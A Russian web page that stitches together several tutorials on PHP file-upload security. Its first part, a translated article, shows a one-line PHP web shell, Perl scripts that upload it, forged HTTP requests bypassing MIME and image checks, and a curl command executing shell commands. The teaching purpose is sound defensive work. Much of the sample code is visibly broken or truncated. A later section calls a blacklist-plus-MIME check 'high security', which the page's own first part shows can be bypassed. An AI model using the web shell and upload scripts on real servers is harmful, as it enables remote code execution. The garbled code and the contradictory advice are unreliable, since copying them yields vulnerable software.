Безопасная загрузка файлов на сервер. Загрузка файлов с помощью PHP §5. Загрузка изображения по ссылке

  • Перевод

В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее - это должен знать каждый PHP-разработчик.

Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.

Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.

Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip .

Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.

Обычная загрузка файла

Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Обычно пользователи будут загружать файлы, используя подобную форму:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: < input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter .

Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика) , который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:

system($_GET["command"]);
?>

Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command

Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.

Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter .

Этот скрипт использует libwwwperl , который является удобной библиотекой Perl, эмулирующей HTTP-клиента.

И вот что случится при выполнении этого скрипта:

Запрос:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se

Проверка Content-Type

Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:

Пример 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика) . Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

И вот что получится.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.

Проверка содержания файла изображения

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.

Итак, создадим perl-скрипт для загрузки нашей картинки:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php" ,
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "" в комментарии GIF.

Проверка расширения загружаемого файла

Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.

Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter .

Выражение preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.

Если мы пытаемся загрузить файл c расширением.php, это приведет к ошибке:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
Если мы загружаем файл с расширением.gif, то оно будет загружено:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:

Когда на сайте требуется разрешить пользователю загружать свои файлы (например, фото или аватары) с последующим их хранением на сервере, сразу возникает ряд проблем с безопасностью.

Первая и самая очевидная - это имена файлов . Их обязательно нужно проверять на спецсимволы, так как пользователь может подделать HTTP-запрос, в результате чего загружаемый файл будет иметь имя, например, ../index.php. и при попытке его сохранения затрет корневой индекс. Кроме того, название может содержать русские буквы в кодировке windows-1251 или koi-8, которые некорректно сохранятся в файловой системе. Вывод: нужно сохранять файл не под тем именем, под которым его загрузил пользователь, а под случайным, например MD5-хешем от имени файла, времени загрузки и IP пользователя. Имя же этого файла где-нибудь в базе, а потом отдавать файл скритом, который предварительно будет выдавать заголовок Content-disposition: attachment; filename="имя_файла".

Вторая проблема - нельзя доверять расширению или MIME-типу , их при желании можно подделать. Поэтому если тип файла важен, его нужно проверять на соответствие формату уже на сервере (для картинок хорошо подойдет функция getimagesize из модуля GD, для других типов - чтение заголовков) и отвергать те файлы, у которых формат не соответствует.

И наконец, третья, самая главная проблема - . Тут есть несколько решений. Первое - если предполагается загрузка только определенных видов файлов (например, автар может быть только картинкой в PNG, JPG, GIF) и отвергать все, что не подходит. Но иногда требуется разрешить загружать файлы любых типов. Тогда возникает второй вариант: проверять расширение загруженного файла и, если оно небезопасно, переименовывать его (например, замена расширения с.php на.phps приведет к тому, что скрипт не будет выполняться, а будет показан его код с подсветкой синтаксиса). Главный недостаток этого решения - может оказаться, что на каком-то сервере настроено исполнение скриптов с необычном расширением, например, .php3, и отфильтровать это не получится. И наконец, третий вариант - это отключить обработку скриптов, например через.htaccess:

RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp

Однако следует учесть, что файл.htaccess влияет только на Apache (да и то его использование нужно включить в настройках), а на других серверах он будет проигнорирован. (Особенно важно это для скриптов, которые выкладываются в публичный доступ: рано или поздно найдется пользователь с каким-нибудь IIS, который не примет должных мер, поэтому лучше сочетать этот способ с предыдущим.)

И последнее: после прочтения этого текста может возникнуть желание хранить пользовательские файлы вообще в базе данных. Не стоит этого делать: хотя это и кажется простым решением, но следует учитывать, что современные поисковики индексируют не только обычные HTML-страницы, но и файлы других типов. И в момент прохождения поискового робота нагрузка на SQL-сервер будет резко возрастать из-за необходимости отдать сразу большой объем данных, что будет приводить к проблемам в работе сайта.

Действительно, загрузка файлов является важной особенностью многих сайтов и веб-приложений, которые мы используем ежедневно. В этой статье я покажу Вам, еще один способ для загрузки файлов с помощью PHP.

Требования

Загрузить файлы на сервер не сложно, но есть несколько мелких деталей, которые должны быть учтены, иначе загрузка не будет выполнена. Во-первых, вы должны убедиться, что PHP настроен на разрешение загрузки. Проверьте ваш php.ini файл и проверьте директиву file_uploads , которая должна быть установлена в On .

После того как Вы настроили конфигурации позволяющие серверу принимать загруженные файлы, Вы можете акцентировать ваше внимание на HTML составляющей. Для загрузки файлов со стороны HTML применяются формы. Крайне важно, чтобы ваши формы использовали метод POST и для атрибута enctype имели значение multipart/form-data .

<form action = "upload.php" method = "post" enctype = "multipart/form-data" >

Написание сценария для процесса загрузки

Процесс загрузки файла в общих чертах выглядит так:

  • Посетитель просматривает HTML страницу с формой для загрузки файлов;
  • Посетитель выбирает в форме файл, который он хочет загрузить;
  • Браузер кодирует файл и отправляет его в качестве части POST запроса;
  • PHP получает форму представления, декодирует файл и сохраняет его во временный каталог на сервере;
  • Далее PHP скрипт перемещает файл на постоянное место хранение.

Следовательно для того чтобы посетитель смог загрузить файл необходима HTML-форма, которая будет предоставлена пользователю и PHP скрипт, чтобы заботиться о загрузке файлов на сервер.

HTML форма

HTML формы обеспечивают интерфейс, через который пользователь инициирует загрузку файлов. Помните, form элемент должен иметь ​​method = POST и не должен кодировать данные при отправке на сервер — атрибут enctype в значение multipart/form-data . Располагаем элемент input для выбора файла. Как и для любого другого элемента формы, нам очень важно указать значение атрибута name , чтобы можно было ссылаться на него в PHP сценарии, который обрабатывает форму.

Форма загрузки файлов выглядит следующим образом:

1
2
3
4
5






Стоит отметить, что различные браузеры отображают поле файл по-разному. Это не проблема, так как пользователи привыкли к тому как выглядит поле выбора файла в их любимом браузере. Однако если внешность важна для Вас, я рекомендую вам ознакомиться с этой статьей .

PHP сценарий загрузки

Информация о загружаемом файле располагается в многомерном массиве $_FILES . Этот массив индексируется по именам файлов помещенных в поле HTML формы. Массив содержит следующую информацию о каждом файле:

  • $_FILES[«myFile»][«name»] — исходное имя файла;
  • $_FILES[«myFile»][«type»] — MIME-тип файла;
  • $_FILES[«myFile»][«size»] — размер файла (в байтах);
  • $_FILES[«myFile»][«tmp_name»] — имя временного файла;
  • $_FILES[«myFile»][«error»] — код любой ошибки при передаче.

Функция move_uploaded_file() перемещает загруженный файл из временного в постоянное место. Вам следует всегда использовать move_uploaded_file() вместо copy() и rename() для этой цели, поскольку она выполняет дополнительную проверку, чтобы убедиться, что файл был действительно загружен с помощью запроса HTTP POST.

Если вы планируете сохранять файл с реальным именем, то нужно соблюсти несколько правил. Имя файла не должно содержать такие символы как слэш, которые могут повлиять на расположение. Название не должно совпадать с названием уже существующих файлов, чтобы не переписать их. Заменяем любые символы не являющиеся буквой или цифрой на нижнее подчеркивание, и добавляем «увеличительное» число при совпадении имен.

Получение и обработка загрузки файлов с помощью PHP выглядит следующим образом:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

// директория для сохранения файла
define ("UPLOAD_DIR" , "/srv/www/uploads/" ) ;

if (! empty ($_FILES [ "myFile" ] ) ) {
$myFile = $_FILES [ "myFile" ] ;

// проверяем на наличие ошибок при загрузке
if ($myFile [ "error" ] !== UPLOAD_ERR_OK) {
echo "

Произошла ошибка.

" ;
exit ;
}

// обеспечиваем безопасное наименование файла
$name = preg_replace ("/[^A-Z0-9._-]/i" , "_" , $myFile [ "name" ] ) ;

// при совпадении имен файлов добавляем номер
$i = 0 ;
$parts = pathinfo ($name ) ;
while (file_exists (UPLOAD_DIR . $name ) ) {
$i ++;
$name = $parts [ "filename" ] . "-" . $i . "." . $parts [ "extension" ] ;
}

// перемещаем файл в постоянное место хранения
$success = move_uploaded_file ($myFile [ "tmp_name" ] ,
UPLOAD_DIR . $name ) ;
if (! $success ) {
echo "" ;
exit ;
}

// задаем права на новый файл
chmod (UPLOAD_DIR . $name , 0644 ) ;

echo "

Файл " . $name . " успешно загружен.

" ;
}

Сначала проверяем файл, загружен ли он без каких-либо ошибок. Затем определяем безопасное имя файла, а затем помещает файл в окончательный каталог с помощью move_uploaded_file() . И в конце устанавливаем права на доступ к файлу.

Вопросы безопасности

Большинство из нас не позволили бы загружать и хранить совершенно незнакомые файлы у себя на сервере, но к сожалению в текущей ситуации это так и есть. Поэтому следует описать несколько шагов, которые позволят свести к минимуму риски, связанные с безопасностью при загрузки файлов.

Один из них заключается в проверке типа загружаемого файла. Опираться на значение хранящееся в $_FILES[«myFile»][«type»] «не есть хорошо», так как расширения в имени файлов могут быть легко подделаны. В таких ситуация лучше проанализировать содержимое файла, например использование функции exif_imagetype() позволяет определить, действительно ли загружаемый файл является картинкой с расширением GIF, JPEG и тд. Если exif_imagetype() не доступна (функция требует расширение Exif ), то вы можете использовать getimagesize() . Возвращаемый массив будет содержать размеры и тип изображения.

1
2
3
4
5
6
7

...
// файл должен являться изображением
$fileType = exif_imagetype ($_FILES [ "myFile" ] [ "tmp_name" ] ) ;
$allowed = array (IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG) ;
if (! in_array ($fileType , $allowed ) ) {
// тип файл не допускается
...

Для не-графических файлов, вы можете использовать Exec() для вызова утилиты Unix — File . Данная утилита определяет тип файла.

Другой шаг, который вы можете сделать для усиления безопасности при загрузке файлов, это наложить жесткие ограничения на общий размер запроса POST и количество файлов, которые могут быть загружены. Чтобы сделать это, необходимо указать соответствующее значение для директив upload_max_size , post_max_size и max_file_uploads в файле php.ini .

  • upload_max_size определяет максимальный размер загружаемых файлов.
  • В дополнение к размеру загрузки, вы можете ограничить размер запрос POST благодаря директиве post_max_size .
  • max_file_uploads более новая директива (добавлена ​​в версии 5.2.12), которая ограничивает количество загружаемых файлов.

post_max_size = 8M
upload_max_size = 2M
max_file_uploads = 20

Третий шаг (несколько экзотический), который вы можете предпринять, чтобы свести к минимуму риск при загрузке файлов — сканирование антивирусным сканером. Стоит добавить, что данная тема является очень серьезной, поэтому ей следует уделить достаточно внимание при разработке веб-приложений!

Таким образом происходит загрузка файлов на сервер с помощью PHP . Если у Вас есть замечания или дополнения к данной статье, оставляйте их в комментариях. Спасибо за прочтение!

P.S. У вас сайт на движке Joomla и вы пользуетесь услугами хостинга? Для тех кто добивается максимальной производительности интернет-проектов, стоит попробовать хостинг с joomla . Специализированный хостинг для сайтов на Joomla обеспечит стабильную и эффективную работу, а выгодные тарифные планы никого не оставят равнодушными.

В прошлой статье мы с Вами разбирали . Однако, я Вам уже сказал, что использовать код, который там был рассмотрен, категорически нельзя! И в этой статье мы поговорим о безопасности при загрузке файлов на сервер в PHP .

Давайте напомню код, который мы вчера рассматривали:

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Фактически, на данный момент может быть загружено абсолютно всё, что угодно: любые исполняемые файлы, скрипты, HTML-страницы и другие весьма опасные вещи. Поэтому обязательно надо проверять загружаемые файлы очень тщательно. И сейчас мы с Вами займёмся их тщательной проверкой.

Поскольку различных вариантов задач может быть очень много, мы рассмотрим вариант с загрузкой простого изображения, на которые должны накладываться следующие ограничения:

  1. Тип - только jpg (jpeg ).
  2. Размер - менее 100 КБ .
" в соответствии с этими требованиями:

$blacklist = array(".php", ".phtml", ".php3", ".php4", ".html", ".htm");
foreach ($blacklist as $item)
if(preg_match("/$item\$/i", $_FILES["somename"]["name"])) exit;
$type = $_FILES["somename"]["type"];
$size = $_FILES["somename"]["size"];
if (($type != "image/jpg") && ($type != "image/jpeg")) exit;
if ($size > 102400) exit;
$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Теперь давайте подробно поясню, что здесь происходит. Первым делом мы проверяем на расширение загружаемого файла . Если оно представляет собой PHP-скрипт , то мы такой файл просто не пропускаем. Дальше мы получаем MIME-type и размер. Проверяем их на удовлетворение нашим условиям. Если всё хорошо, то мы загружаем файл.

Вы, наверное, можете спросить: "А зачем надо проверять и расширение, и MIME-type? ". Тут очень важно понимать, что это далеко не одно и то же. Если злоумышленник попытается отправить PHP-файл через браузер , то и одной проверки MIME-type хватит, чтобы его попытка провалилась. А вот если он напишет какой-нибудь скрипт, который будет формировать запрос и отсылать вредосный файл, то этого не хватит. Почему? А потому, что MIME-type задаётся клиентом, а не сервером! И фактически, злоумышленник может поставить любой MIME-type (и картинки тоже), но при этом отсылать PHP-скрипт . И вот именно такую хитрую попытку мы и ломаем, проверяя на расширение файла.

Я сразу скажу, что данный код далеко не 100% защита (100% просто не существует), однако, взломать такой код будет очень и очень тяжело, поэтому можете смело утверждать, что Вы обеспечили высокую безопасность при загрузке файлов на сервер через PHP .

В той статье я лишь раскрыл сам процесс загрузки и не касался вопросов безопасности.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP .

Если Вы не обеспечите необходимый уровень безопасности, то злоумышленник сможет закачать произвольный файл на сервер , например, php-скрипт , при помощи которого он сможет просмотреть любой файл на сервере или что еще хуже выполнить произвольный код!

Поэтому в этой статье я постараюсь рассказать об основных уязвимостях веб-приложений по загрузке файлов на сервер и способах их избежать.

Итак, приступим. Первое что приходит в голову каждому разработчику это проверять Content-Type файлов. Другими словами — разрешить загрузку файлов строго определенного типа. Давайте взглянем на код:

Если обычный пользователь попытается загрузить любой другой файл, кроме gif-картинки, то ему будет выдано предупреждение!Но злоумышленник не будет использовать веб-форму на Вашем сайте.

Он может написать небольшой Perl-скрипт(возможно на любом языке) , который будет эмулировать действия пользователя по загрузке файлов , дабы изменить отправляемые данные на свое усмотрение.Так как проверяемый MIME-тип приходит вместе с запросом, то ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает.

Если вы загружаете только изображения,то не стоит доверять заголовку Content-Type, а лучше проверить фактическое содержание загруженного файла, чтобы удостовериться что это действительно изображение. Для этого в РНР очень часто используют функцию getimagesize() .

Функция getimagesize() определяет размер изображения GIF, JPG, PNG, SWF, PSD, TIFF или BMP и возвращает размеры, тип файла и высоту/ширину текстовой строки, используемой внутри нормального HTML-тэга IMG.

Давайте посмотрим, как можно использовать эту функцию в нашем скрипте:

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован.

Вы наверное спросите, а почему бы не проверять просто расширение файла? Если мы не позволим загружать файлы *.php , то сервер никогда не сможет выполнить этот файл как скрипт . Давайте рассмотрим и этот подход.

Вы можете составить белый список расширений и проверять имя загружаемого файла на соответствие белому списку.

Выражение!preg_match ("/$item\$/i", $_FILES["uploadFile"]["name"]) проверяет соответствие имени файла, определенному пользователем в массиве белого списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в белом списке, файл будет загружен, иначе